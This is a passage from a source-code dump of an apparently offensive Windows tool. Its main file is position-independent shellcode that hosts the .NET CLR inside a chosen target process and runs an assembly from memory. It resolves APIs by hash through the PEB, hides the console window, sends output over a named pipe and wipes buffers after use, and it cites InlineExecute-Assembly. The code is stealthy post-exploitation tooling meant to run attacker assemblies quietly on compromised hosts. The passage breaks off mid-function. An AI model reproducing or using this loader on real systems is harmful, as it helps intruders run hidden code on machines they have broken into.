268 | PVOID ReservedForPerf;
269 | PVOID ReservedForOle;
270 | ULONG WaitingOnLoaderLock;
271 | PVOID SavedPriorityState;
272 | ULONG_PTR SoftPatchPtr1;
273 | PVOID ThreadPoolData;
274 | PVOID *TlsExpansionSlots;
275 | #ifdef _M_X64
276 | PVOID DeallocationBStore;
277 | PVOID BStoreLimit;
278 | #endif
279 | ULONG MuiGeneration;
280 | ULONG IsImpersonating;
281 | PVOID NlsCache;
282 | PVOID pShimData;
283 | ULONG HeapVirtualAffinity;
284 | HANDLE CurrentTransactionHandle;
285 | PTEB_ACTIVE_FRAME ActiveFrame;
286 | PVOID FlsData;
287 |
288 | PVOID PreferredLanguages;
289 | PVOID UserPrefLanguages;
290 | PVOID MergedPrefLanguages;
291 | ULONG MuiImpersonation;
292 |
293 | union
294 | {
295 | USHORT CrossTebFlags;
296 | USHORT SpareCrossTebBits : 16;
297 | };
298 | union
299 | {
300 | USHORT SameTebFlags;
301 | struct
302 | {
303 | USHORT SafeThunkCall : 1;
304 | USHORT InDebugPrint : 1;
305 | USHORT HasFiberData : 1;
306 | USHORT SkipThreadAttach : 1;
307 | USHORT WerInShipAssertCode : 1;
308 | USHORT RanProcessInit : 1;
309 | USHORT ClonedThread : 1;
310 | USHORT SuppressDebugMsg : 1;
311 | USHORT DisableUserStackWalk : 1;
312 | USHORT RtlExceptionAttached : 1;
313 | USHORT InitialThread : 1;
314 | USHORT SessionAware : 1;
315 | USHORT SpareSameTebBits : 4;
316 | };
317 | };
318 |
319 | PVOID TxnScopeEnterCallback;
320 | PVOID TxnScopeExitCallback;
321 | PVOID TxnScopeContext;
322 | ULONG LockCount;
323 | ULONG SpareUlong0;
324 | PVOID ResourceRetValue;
325 | PVOID ReservedForWdf;
326 | } TEB, *PTEB;
327 |
328 | typedef enum _MEMORY_INFORMATION_CLASS
329 | {
330 | MemoryBasicInformation,
331 | MemoryWorkingSetInformation,
332 | MemoryMappedFilenameInformation,
333 | MemoryRegionInformation,
334 | MemoryWorkingSetExInformation
335 | } MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS;
336 |
337 | NTSTATUS
338 | NTAPI
339 | RtlInitUnicodeString(
340 | PUNICODE_STRING DestinationString,
341 | PCWSTR SourceString
342 | );
343 |
344 | NTSTATUS
345 | NTAPI
346 | LdrLoadDll(
347 | IN OPTIONAL PWSTR DllPath,
348 | IN OPTIONAL PULONG DllCharacteristics,
349 | IN PUNICODE_STRING DllName,
350 | OUT PVOID *DllHandle
351 | );
352 |
353 | NTSTATUS
354 | NTAPI
355 | LdrUnloadDll(
356 | IN PVOID DllHandle
357 | );
358 |
359 | PVOID
360 | NTAPI
361 | RtlAllocateHeap(
362 | IN PVOID HeapHandle,
363 | IN ULONG Flags,
364 | IN SIZE_T Size
365 | );
366 |
367 | BOOLEAN
368 | NTAPI
369 | RtlFreeHeap(
370 | IN PVOID HeapHandle,
371 | IN OPTIONAL ULONG Flags,
372 | IN PVOID BaseAddress
373 | );
374 |
375 | NTSTATUS
376 | NTAPI
377 | NtProtectVirtualMemory (
378 | IN HANDLE ProcessHandle,
379 | IN OUT PVOID *BaseAddress,
380 | IN OUT PSIZE_T RegionSize,
381 | IN ULONG NewProtect,
382 | OUT PULONG OldProtect
383 | );
384 |
385 | NTSTATUS
386 | NTAPI
387 | NtClose (
388 | IN HANDLE Handle
389 | );
390 |
391 | NTSTATUS
392 | NTAPI
393 | NtQueryVirtualMemory (
394 | IN HANDLE ProcessHandle,
395 | IN PVOID BaseAddress,
396 | IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
397 | OUT PVOID MemoryInformation,
398 | IN SIZE_T MemoryInformationLength,
399 | OUT OPTIONAL PSIZE_T ReturnLength
400 | );
401 |
402 | __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }
403 |
--------------------------------------------------------------------------------
/src/ols.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct
4 | {
5 | BSTR Exit;
6 | BSTR GetFunctionPointer;
7 | BSTR MethodInfo;
8 | BSTR Mscorlib;
9 | BSTR System_Environment;
10 | BSTR System_Reflection_MethodInfo;
11 | BSTR System_RuntimeMethodHandle;
12 |
13 | } OLS, *POLS;
--------------------------------------------------------------------------------
/src/pipe.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | D_SEC( E ) HANDLE PipeInit( _In_ PAPI Api, _In_ PCHAR Name )
4 | {
5 | return Api->CreateNamedPipeA( Name,
6 | PIPE_ACCESS_DUPLEX,
7 | PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
8 | 1,
9 | 1024 * 1024,
10 | 1024 * 1024,
11 | 0,
12 | NULL );
13 | };
14 |
15 | D_SEC( E ) BOOL PipeWait( _In_ PAPI Api, _In_ HANDLE Pipe )
16 | {
17 | if ( !Api->ConnectNamedPipe( Pipe, NULL ) )
18 | {
19 | if ( NtCurrentTeb()->LastErrorValue != STATUS_PIPE_CONNECTED )
20 | {
21 | return FALSE;
22 | };
23 | };
24 | return TRUE;
25 | };
26 |
27 | D_SEC( E ) BOOL PipePrint( _In_ PAPI Api, _In_ HANDLE Pipe, _In_ PCHAR Format, ... )
28 | {
29 | INT Len = 0;
30 | ULONG Wrt = 0;
31 | BOOL Ret = FALSE;
32 | PVOID Str = NULL;
33 | va_list Lst = NULL;
34 |
35 | va_start( Lst, Format );
36 | Len = Api->vsnprintf( NULL, 0, Format, Lst );
37 | va_end( Lst );
38 |
39 | if ( ( Str = Api->VirtualAlloc( NULL, Len + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) != NULL )
40 | {
41 | va_start( Lst, Format );
42 | Api->vsnprintf( Str, Len, Format, Lst );
43 | va_end( Lst );
44 |
45 | Ret = Api->WriteFile( Pipe, Str, Len + 1, &Wrt, NULL );
46 | Api->VirtualFree( Str, 0, MEM_RELEASE );
47 | };
48 | return Ret;
49 | };
50 |
--------------------------------------------------------------------------------
/src/pipe.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | D_SEC( E ) HANDLE PipeInit( _In_ PAPI Api, _In_ PCHAR Name );
4 | D_SEC( E ) BOOL PipeWait( _In_ PAPI Api, _In_ HANDLE Pipe );
5 | D_SEC( E ) BOOL PipePrint( _In_ PAPI Api, _In_ HANDLE Pipe, _In_ PCHAR Format, ... );
--------------------------------------------------------------------------------
/src/scmain.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | //#define _ERROR
4 | //#define _VERBOSE
5 |
6 | D_SEC( B ) VOID WINAPI ExecuteAssembly( _In_ LPVOID Data )
7 | {
8 | API Api;
9 | CLR Clr;
10 | OLS Ols;
11 | UNICODE_STRING Uni;
12 |
13 | HWND Wnd = NULL;
14 | HANDLE Out = NULL;
15 | HANDLE Log = NULL;
16 |
17 | NTSTATUS Nst = STATUS_SUCCESS;
18 | HRESULT Hrs = S_OK;
19 | DWORD Idx = 0;
20 |
21 | PVOID Ntd = NULL;
22 | PVOID K32 = NULL;
23 | PVOID Msc = NULL;
24 | PVOID Mvc = NULL;
25 | PVOID Ole = NULL;
26 | PVOID Shl = NULL;
27 | PVOID U32 = NULL;
28 | BOOL MLd = FALSE;
29 | BOOL VLd = FALSE;
30 | BOOL OLd = FALSE;
31 | BOOL SLd = FALSE;
32 | BOOL ULd = FALSE;
33 |
34 | PCHAR PipStr = NULL;
35 | PCHAR LenStr = NULL;
36 | PCHAR AsmStr = NULL;
37 | PCHAR ArgStr = NULL;
38 | INT PipSiz = 0;
39 | INT LenSiz = 0;
40 | INT AsmSiz = 0;
41 | INT ArgSiz = 0;
42 |
43 | BOOL Loadable;
44 | PWCHAR NetVersion = NULL;
45 | PWCHAR ModuleName = NULL;
46 | PWCHAR AppDomain = NULL;
47 | PPEB Peb = NULL;
48 | PRTL_USER_PROCESS_PARAMETERS PebPrm = NULL;
49 |
50 | ULONG OldProtA;
51 | ULONG OldProtB;
52 | SIZE_T NumBytes;
53 | INT_PTR BaseIPtr;
54 | INT_PTR ExitIPtr;
55 | BYTE OrigData;
56 |
57 | PVOID SrchAddr;
58 | PBYTE SrchBuff;
59 | BYTE CurrChar;
60 | INT CurrSrch;
61 | INT Position;
62 | LPVOID ProcMin;
63 | MEMORY_BASIC_INFORMATION MemInfo = { 0 };
64 | SYSTEM_INFO SysInfo = { 0 };
65 |
66 |
67 | RtlSecureZeroMemory( &Api, sizeof( Api ) );
68 | RtlSecureZeroMemory( &Clr, sizeof( Clr ) );
69 | RtlSecureZeroMemory( &Ols, sizeof( Ols ) );
70 |
71 | K32 = PebGetModule( H_LIB_KERNEL32 );
72 | Msc = PebGetModule( H_LIB_MSCOREE );
73 | Mvc = PebGetModule( H_LIB_MSVCRT );
74 | Ntd = PebGetModule( H_LIB_NTDLL );
75 | Ole = PebGetModule( H_LIB_OLE32 );
76 | Shl = PebGetModule( H_LIB_SHELL32 );
77 | U32 = PebGetModule( H_LIB_USER32 );
78 |
79 | Api.LdrLoadDll = PeGetFuncEat( Ntd, H_API_LDRLOADDLL );
80 | Api.LdrUnloadDll = PeGetFuncEat( Ntd, H_API_LDRUNLOADDLL );
81 | Api.RtlAllocateHeap = PeGetFuncEat( Ntd, H_API_RTLALLOCATEHEAP );
82 | Api.RtlFreeHeap = PeGetFuncEat( Ntd, H_API_RTLFREEHEAP );
83 | Api.RtlInitUnicodeString = PeGetFuncEat( Ntd, H_API_RTLINITUNICODESTRING );
84 | Api.vsnprintf = PeGetFuncEat( Ntd, H_API_VSNPRINTF );
85 | Api.NtClose = PeGetFuncEat( Ntd, H_API_NTCLOSE );
86 | Api.NtProtectVirtualMemory = PeGetFuncEat( Ntd, H_API_NTPROTECTVIRTUALMEMORY );
87 | Api.NtQueryVirtualMemory = PeGetFuncEat( Ntd, H_API_NTQUERYVIRTUALMEMORY );
88 |
89 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
90 | if ( Msc == NULL )
91 | {
92 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_PTR( L"mscoree.dll" ) ) );
93 | Api.LdrLoadDll( NULL, 0, &Uni, &Msc );
94 | if ( Msc == NULL ) goto cleanup;
95 | MLd = TRUE;
96 | };
97 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
98 | if ( Ole == NULL )
99 | {
100 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_PTR( L"oleaut32.dll" ) ) );
101 | Api.LdrLoadDll( NULL, 0, &Uni, &Ole );
102 | if ( Ole == NULL ) goto cleanup;
103 | OLd = TRUE;
104 | };
105 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
106 | if ( Shl == NULL )
107 | {
108 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_PTR( L"shell32.dll" ) ) );
109 | Api.LdrLoadDll( NULL, 0, &Uni, &Shl );
110 | if ( Shl == NULL ) goto cleanup;
111 | SLd = TRUE;
112 | };
113 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
114 | if ( U32 == NULL )
115 | {
116 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_PTR( L"user32.dll" ) ) );
117 | Api.LdrLoadDll( NULL, 0, &Uni, &U32 );
118 | if ( U32 == NULL ) goto cleanup;
119 | ULd = TRUE;
120 | };
121 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
122 | if ( Mvc == NULL )
123 | {
124 | Api.RtlInitUnicodeString( &Uni, C_PTR( G_PTR( L"msvcrt.dll" ) ) );
125 | Api.LdrLoadDll( NULL, 0, &Uni, &Mvc );
126 | if ( Mvc == NULL ) goto cleanup;
127 | VLd = TRUE;
128 | };
129 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
130 |
131 | Api.AllocConsole = PeGetFuncEat( K32, H_API_ALLOCCONSOLE );
132 | Api.CreateNamedPipeA = PeGetFuncEat( K32, H_API_CREATENAMEDPIPEA );
133 | Api.VirtualAlloc = PeGetFuncEat( K32, H_API_VIRTUALALLOC );
134 | Api.ConnectNamedPipe = PeGetFuncEat( K32, H_API_CONNECTNAMEDPIPE );
135 | Api.FreeConsole = PeGetFuncEat( K32, H_API_FREECONSOLE );
136 | Api.GetConsoleWindow = PeGetFuncEat( K32, H_API_GETCONSOLEWINDOW );
137 | Api.SetStdHandle = PeGetFuncEat( K32, H_API_SETSTDHANDLE );
138 | Api.GetSystemInfo = PeGetFuncEat( K32, H_API_GETSYSTEMINFO );
139 | Api.MultiByteToWideChar = PeGetFuncEat( K32, H_API_MULTIBYTETOWIDECHAR );
140 | Api.VirtualFree = PeGetFuncEat( K32, H_API_VIRTUALFREE );
141 | Api.WaitForSingleObject = PeGetFuncEat( K32, H_API_WAITFORSINGLEOBJECT );
142 | Api.WriteFile = PeGetFuncEat( K32, H_API_WRITEFILE );
143 | Api.GetStdHandle = PeGetFuncEat( K32, H_API_GETSTDHANDLE );
144 | Api.CLRCreateInstance = PeGetFuncEat( Msc, H_API_CLRCREATEINSTANCE );
145 | Api.SafeArrayCreate = PeGetFuncEat( Ole, H_API_SAFEARRAYCREATE );
146 | Api.SafeArrayDestroy = PeGetFuncEat( Ole, H_API_SAFEARRAYDESTROY );
147 | Api.SafeArrayUnaccessData = PeGetFuncEat( Ole, H_API_SAFEARRAYUNACCESSDATA );
148 | Api.SafeArrayAccessData = PeGetFuncEat( Ole, H_API_SAFEARRAYACCESSDATA );
149 | Api.SysAllocString = PeGetFuncEat( Ole, H_API_SYSALLOCSTRING );
150 | Api.SysFreeString = PeGetFuncEat( Ole, H_API_SYSFREESTRING );
151 | Api.SafeArrayGetUBound = PeGetFuncEat( Ole, H_API_SAFEARRAYGETUBOUND );
152 | Api.SafeArrayCreateVector = PeGetFuncEat( Ole, H_API_SAFEARRAYCREATEVECTOR );
153 | Api.SafeArrayPutElement = PeGetFuncEat( Ole, H_API_SAFEARRAYPUTELEMENT );
154 | Api.SafeArrayGetLBound = PeGetFuncEat( Ole, H_API_SAFEARRAYGETLBOUND );
155 | Api.CommandLineToArgvW = PeGetFuncEat( Shl, H_API_COMMANDLINETOARGVW );
156 | Api.ShowWindow = PeGetFuncEat( U32, H_API_SHOWWINDOW );
157 |
158 | GUID C_MH = { 0x9280188d, 0xe8e, 0x4867, { 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde } };
159 | GUID I_MH = { 0xD332DB9E, 0xB9B3, 0x4125, { 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16 } };
160 | GUID C_RH = { 0xcb2f6723, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
161 | GUID I_RH = { 0xcb2f6722, 0xab3a, 0x11d2, { 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e } };
162 | GUID I_AD = { 0x05F696DC, 0x2B29, 0x3663, { 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13 } };
163 | GUID I_RI = { 0xBD39D1D2, 0xBA2F, 0x486a, { 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91 } };
164 |
165 | CHAR netv4[] = "\x76\x34\x2E\x30\x2E\x33\x30\x33\x31\x39";
166 | BYTE header[] = "\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
167 |
168 | cpymem( &PipSiz,
169 | Data,
170 | sizeof( PipSiz ) + 1
171 | );
172 | if ( PipSiz == 0 ) goto cleanup;
173 |
174 | PipStr = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
175 | HEAP_ZERO_MEMORY,
176 | PipSiz
177 | );
178 | cpymem( PipStr,
179 | Data + sizeof( PipSiz ) + 1,
180 | PipSiz
181 | );
182 | if ( PipStr == NULL ) goto cleanup;
183 |
184 | cpymem( &LenSiz,
185 | Data + sizeof( PipSiz ) + 1 + PipSiz,
186 | sizeof( LenSiz ) + 1
187 | );
188 | if ( LenSiz == 0 ) goto cleanup;
189 |
190 | LenStr = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
191 | HEAP_ZERO_MEMORY,
192 | LenSiz
193 | );
194 | cpymem( LenStr,
195 | Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1,
196 | LenSiz
197 | );
198 | if ( LenStr == NULL ) goto cleanup;
199 |
200 | cpymem( &AsmSiz,
201 | Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz,
202 | sizeof( AsmSiz ) + 1
203 | );
204 | if ( AsmSiz == 0 ) goto cleanup;
205 |
206 | AsmStr = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
207 | HEAP_ZERO_MEMORY,
208 | AsmSiz
209 | );
210 | cpymem( AsmStr,
211 | Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz + sizeof( AsmSiz ) + 1,
212 | AsmSiz
213 | );
214 | if ( AsmStr == NULL ) goto cleanup;
215 |
216 | cpymem( &ArgSiz,
217 | Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz + sizeof( AsmSiz ) + 1 + AsmSiz,
218 | sizeof( ArgSiz ) + 1
219 | );
220 | if ( ArgSiz == 0 ) goto cleanup;
221 |
222 | ArgStr = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
223 | HEAP_ZERO_MEMORY,
224 | ArgSiz
225 | );
226 | cpymem( ArgStr,
227 | Data + sizeof( PipSiz ) + 1 + PipSiz + sizeof( LenSiz ) + 1 + LenSiz + sizeof( AsmSiz ) + 1 + AsmSiz + sizeof( ArgSiz ) + 1,
228 | ArgSiz
229 | );
230 | if ( ArgStr == NULL ) goto cleanup;
231 |
232 | Clr.LN = custatoi( LenStr ) + 1;
233 | if ( LenStr != NULL )
234 | {
235 | RtlSecureZeroMemory( LenStr, LenSiz );
236 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
237 | 0,
238 | LenStr
239 | );
240 | LenStr = NULL;
241 | };
242 | Log = PipeInit( &Api, ( PCHAR )PipStr );
243 | if ( PipStr != NULL )
244 | {
245 | RtlSecureZeroMemory( PipStr, PipSiz );
246 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
247 | 0,
248 | PipStr
249 | );
250 | PipStr = NULL;
251 | };
252 |
253 | if ( Log != INVALID_HANDLE_VALUE )
254 | {
255 | if ( PipeWait( &Api, Log ) )
256 | {
257 | if ( Api.GetConsoleWindow() == NULL )
258 | {
259 | Api.AllocConsole();
260 | Wnd = Api.GetConsoleWindow();
261 | if ( Wnd != NULL )
262 | {
263 | Api.ShowWindow( Wnd, SW_HIDE );
264 | };
265 | };
266 |
267 | Out = Api.GetStdHandle( STD_OUTPUT_HANDLE );
268 | Api.SetStdHandle( STD_OUTPUT_HANDLE, Log );
269 |
270 | Clr.V1.vt = VT_NULL;
271 | Clr.V1.plVal = NULL;
272 | Hrs = Api.CLRCreateInstance( &C_MH, &I_MH, ( LPVOID* )&Clr.MH );
273 | if ( Hrs != S_OK ) {
274 | #ifdef _ERROR
275 | PipePrint( &Api, Log, "Error CLRCreateInstance : %lx\n", Hrs );
276 | #endif
277 | goto cleanup;
278 | };
279 |
280 | // https://github.com/anthemtotheego/InlineExecute-Assembly/blob/main/src/inlineExecute-Assembly.c#L110
281 | NetVersion = L"v2.0.50727";
282 | for ( int i = 0; i < AsmSiz; i++ )
283 | {
284 | for ( int j = 0; j < 10; j++ )
285 | {
286 | if ( netv4[j] != AsmStr[i + j] )
287 | {
288 | break;
289 | }
290 | else
291 | {
292 | if ( j == ( 9 ) )
293 | {
294 | NetVersion = L"v4.0.30319";
295 | };
296 | };
297 | };
298 | };
299 | if ( netv4 != NULL )
300 | {
301 | RtlSecureZeroMemory( netv4, sizeof( netv4 ) );
302 | };
303 |
304 | Hrs = Clr.MH->lpVtbl->GetRuntime( Clr.MH, NetVersion, &I_RI, ( PVOID* )&Clr.RI );
305 | if ( Hrs != S_OK )
306 | {
307 | goto incompatible;
308 | };
309 | /*Hrs = Clr.RI->lpVtbl->IsLoaded( Clr.RI, NtCurrentProcess(), &Loaded );
310 | if ( Hrs != S_OK )
311 | {
312 | #ifdef _ERROR
313 | PipePrint( &Api, Log, "Error RuntimeInfo.IsLoaded : %lx\n", Hrs );
314 | #endif
315 | };*/
316 | Hrs = Clr.RI->lpVtbl->IsLoadable( Clr.RI, &Loadable );
317 | if ( Hrs != S_OK || !Loadable )
318 | {
319 | goto incompatible;
320 | };
321 | Hrs = Clr.RI->lpVtbl->GetInterface( Clr.RI, &C_RH, &I_RH, ( PVOID* )&Clr.RH );
322 | if ( Hrs != S_OK )
323 | {
324 | incompatible:
325 | PipePrint( &Api, Log, "[-] Incompatible .NET Framework version\n" );
326 | goto cleanup;
327 | };
328 |
329 | Hrs = Clr.RH->lpVtbl->Start( Clr.RH );
330 | if ( Hrs != S_OK )
331 | {
332 | #ifdef _ERROR
333 | PipePrint( &Api, Log, "Error starting CLR : %lx\n", Hrs );
334 | #endif
335 | goto cleanup;
336 | };
337 |
338 | Peb = NtCurrentTeb()->ProcessEnvironmentBlock;
339 | PebPrm = Peb->ProcessParameters;
340 | if ( Peb == NULL || PebPrm == NULL )
341 | {
342 | #ifdef _ERROR
343 | PipePrint( &Api, Log, "Error retrieving file name info\n" );
344 | #endif
345 | goto cleanup;
346 | };
347 | ModuleName = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
348 | HEAP_ZERO_MEMORY,
349 | _MAX_FNAME
350 | );
351 | AppDomain = Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
352 | HEAP_ZERO_MEMORY,
353 | _MAX_FNAME
354 | );
355 | if ( ModuleName == NULL || AppDomain == NULL )
356 | {
357 | #ifdef _ERROR
358 | PipePrint( &Api, Log, "Error allocating heap memory for appdomain name\n" );
359 | #endif
360 | goto cleanup;
361 | };
362 | if ( PebPrm->ImagePathName.Buffer != NULL )
363 | {
364 | cpymem( ModuleName, PebPrm->ImagePathName.Buffer, PebPrm->ImagePathName.Length );
365 | if ( ModuleName != NULL && AppDomain != NULL )
366 | {
367 | splitpathw( ModuleName, AppDomain );
368 | }
369 | else
370 | {
371 | #ifdef _ERROR
372 | PipePrint( &Api, Log, "Error splitting path name\n" );
373 | #endif
374 | goto cleanup;
375 | };
376 | }
377 | else
378 | {
379 | #ifdef _ERROR
380 | PipePrint( &Api, Log, "Error reading ImagePathName.Buffer info\n" );
381 | #endif
382 | goto cleanup;
383 | };
384 |
385 | #ifdef _VERBOSE
386 | PipePrint( &Api, Log, "[+] AppDomain name: %ws\n", AppDomain );
387 | #endif
388 |
389 | Hrs = Clr.RH->lpVtbl->CreateDomain( Clr.RH, AppDomain, NULL, &Clr.AD );
390 | //Hrs = Clr.RH->lpVtbl->GetDefaultDomain( Clr.RH, &Clr.AD );
391 | if ( Hrs != S_OK )
392 | {
393 | if ( Hrs == E_OUTOFMEMORY )
394 | {
395 | PipePrint( &Api, Log, "[-] Not enough memory in target process, please select another\n" );
396 | }
397 | else
398 | {
399 | #ifdef _ERROR
400 | PipePrint( &Api, Log, "Error CreateDomain : %lx\n", Hrs );
401 | #endif
402 | };
403 |
404 | goto cleanup;
405 | };
406 |
407 | if ( ModuleName != NULL )
408 | {
409 | RtlSecureZeroMemory( ModuleName, _MAX_FNAME );
410 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
411 | 0,
412 | ModuleName
413 | );
414 | ModuleName = NULL;
415 | };
416 | if ( AppDomain != NULL )
417 | {
418 | RtlSecureZeroMemory( AppDomain, _MAX_FNAME );
419 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
420 | 0,
421 | AppDomain
422 | );
423 | AppDomain = NULL;
424 | };
425 |
426 | Hrs = Clr.AD->lpVtbl->QueryInterface( Clr.AD, &I_AD, ( void** )&Clr.DA );
427 | if ( Hrs != S_OK )
428 | {
429 | #ifdef _ERROR
430 | PipePrint( &Api, Log, "Error QueryInterface 2 : %lx\n", Hrs );
431 | #endif
432 | goto cleanup;
433 | };
434 |
435 | Clr.SB[0].cElements = Clr.LN;
436 | Clr.SB[0].lLbound = 0;
437 | Clr.PS = ( SAFEARRAY* )Api.SafeArrayCreate( VT_UI1, 1, Clr.SB );
438 | Api.SafeArrayAccessData( Clr.PS, &Clr.PD );
439 | cpymem( Clr.PD, AsmStr, Clr.LN );
440 | Api.SafeArrayUnaccessData( Clr.PS );
441 | if ( AsmStr != NULL )
442 | {
443 | RtlSecureZeroMemory( AsmStr, AsmSiz );
444 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
445 | 0,
446 | AsmStr
447 | );
448 | AsmStr = NULL;
449 | };
450 |
451 | Hrs = Clr.DA->lpVtbl->Load_3( Clr.DA, Clr.PS, ( _Assembly** )&Clr.AS );
452 | if ( Hrs != S_OK )
453 | {
454 | #ifdef _ERROR
455 | PipePrint( &Api, Log, "Error Load_3 : %lx\n", Hrs );
456 | #endif
457 | goto cleanup;
458 | };
459 | RtlSecureZeroMemory( Clr.PS, sizeof( SAFEARRAY ) );
460 | Api.SafeArrayDestroy( Clr.PS );
461 |
462 | Ols.Mscorlib = Api.SysAllocString( L"mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" );
463 | Hrs = Clr.DA->lpVtbl->Load_2( Clr.DA, Ols.Mscorlib, &Clr.MS );
464 | if ( Hrs != S_OK )
465 | {
466 | #ifdef _ERROR
467 | PipePrint( &Api, Log, "Load_2( mscorlib ) : %lx %p\n", Hrs, ( PVOID )Clr.MS );
468 | #endif
469 | goto cleanup;
470 | };
471 | if ( Ols.Mscorlib != NULL )
472 | {
473 | Api.SysFreeString( Ols.Mscorlib );
474 | Ols.Mscorlib = NULL;
475 | };
476 |
477 | Ols.System_Environment = Api.SysAllocString( L"System.Environment" );
478 | Hrs = Clr.MS->lpVtbl->GetType_2( Clr.MS, Ols.System_Environment, &Clr.SE );
479 | if ( Hrs != S_OK )
480 | {
481 | #ifdef _ERROR
482 | PipePrint( &Api, Log, "GetType_2( System.Environment ) : %lx %p\n", Hrs, ( PVOID )Clr.SE );
483 | #endif
484 | goto cleanup;
485 | };
486 | if ( Ols.System_Environment != NULL )
487 | {
488 | Api.SysFreeString( Ols.System_Environment );
489 | Ols.System_Environment = NULL;
490 | };
491 |
492 | Ols.Exit = Api.SysAllocString( L"Exit" );
493 | Hrs = Clr.SE->lpVtbl->GetMethod_2( Clr.SE, Ols.Exit, BindingFlags_Static | BindingFlags_Public, &Clr.EX );
494 | if ( Hrs != S_OK )
495 | {
496 | #ifdef _ERROR
497 | PipePrint( &Api, Log, "System.GetMethod( Environment.Exit ) : %lx : %p\n", Hrs, ( PVOID )Clr.EX );
498 | #endif
499 | goto cleanup;
500 | };
501 | if ( Ols.Exit != NULL )
502 | {
503 | Api.SysFreeString( Ols.Exit );
504 | Ols.Exit = NULL;
505 | };
506 |
507 | Ols.System_Reflection_MethodInfo = Api.SysAllocString( L"System.Reflection.MethodInfo" );
508 | Hrs = Clr.MS->lpVtbl->GetType_2( Clr.MS, Ols.System_Reflection_MethodInfo, &Clr.MI );
509 | if ( Hrs != S_OK )
510 | {
511 | #ifdef _ERROR
512 | PipePrint( &Api, Log, "GetType_2( System.Reflection.MethodInfo ) : %lx %p\n", Hrs, ( PVOID )Clr.MI );
513 | #endif
514 | goto cleanup;
515 | };
516 | if ( Ols.System_Reflection_MethodInfo != NULL )
517 | {
518 | Api.SysFreeString( Ols.System_Reflection_MethodInfo );
519 | Ols.System_Reflection_MethodInfo = NULL;
520 | };
521 |
522 | Ols.MethodInfo = Api.SysAllocString( L"MethodHandle" );
523 | Hrs = Clr.MI->lpVtbl->GetProperty( Clr.MI, Ols.MethodInfo, BindingFlags_Static | BindingFlags_Instance | BindingFlags_Public, &Clr.HA );
524 | if ( Hrs != S_OK )
525 | {
526 | #ifdef _ERROR
527 | PipePrint( &Api, Log, "GetProperty( MethodHandle ) : %lx : %p\n", Hrs, ( PVOID )Clr.HA );
528 | #endif
529 | goto cleanup;
530 | };
531 | if ( Ols.MethodInfo != NULL )
532 | {
533 | Api.SysFreeString( Ols.MethodInfo );
534 | Ols.MethodInfo = NULL;
535 | };
536 |
537 | Clr.V2.vt = VT_UNKNOWN;
538 | Clr.V2.punkVal = Clr.EX;
539 | Clr.ID = Api.SafeArrayCreateVector( VT_EMPTY, 0, 0 );
540 | Hrs = Clr.HA->lpVtbl->GetValue( Clr.HA, Clr.V2, Clr.ID, &Clr.V3 );
541 | if ( Hrs != S_OK )
542 | {
543 | #ifdef _ERROR
544 | PipePrint( &Api, Log, "GetValue( MethodHandle ) : %lx : %p\n", Hrs, ( PVOID )Clr.V3.byref );
545 | #endif
546 | goto cleanup;
547 | };
548 | Api.SafeArrayDestroy( Clr.ID );
549 |
550 | Ols.System_RuntimeMethodHandle = Api.SysAllocString( L"System.RuntimeMethodHandle" );
551 | Hrs = Clr.MS->lpVtbl->GetType_2( Clr.MS, Ols.System_RuntimeMethodHandle, &Clr.RM );
552 | if ( Hrs != S_OK )
553 | {
554 | #ifdef _ERROR
